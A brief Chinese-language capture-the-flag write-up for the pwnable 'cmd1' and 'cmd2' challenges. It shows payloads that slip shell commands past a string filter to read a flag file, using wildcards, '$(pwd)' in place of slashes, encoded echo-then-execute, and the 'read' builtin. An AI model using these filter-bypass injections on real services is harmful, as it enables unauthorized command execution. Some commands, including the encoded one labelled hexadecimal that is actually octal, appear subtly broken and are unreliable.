pwnable
cmd1
查看源代码发现程序过滤了flag字符串和环境变量,所以cat命令必须要指定路径,flag用通配符*来定位,命令如下
cmd1 "/bin/cat fla*"
cmd2
本题在上一题的基础上过滤了'/',并清除环境变量,主要有以下几种思路:
1.在过滤函数中隐藏匹配字符串,在系统调用时这些字符串被重现
要使用'/',可以在根目录使用pwd命令即可
cd /; ~/cmd2 "$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fla*"
将打印的命令字符转换为16进制并对其执行echo命令,再用$对打印出的命令执行,这样在过滤时检测不到任何匹配字符串
./cmd2 '$(echo " 57 142 151 156 57 143 141 164 40 146 154 141 147")'
2.使用shell内部命令
使用read命令将文件内容读入标准输入流,再通过echo命令打印
./cmd2 "read b < flag; echo $b"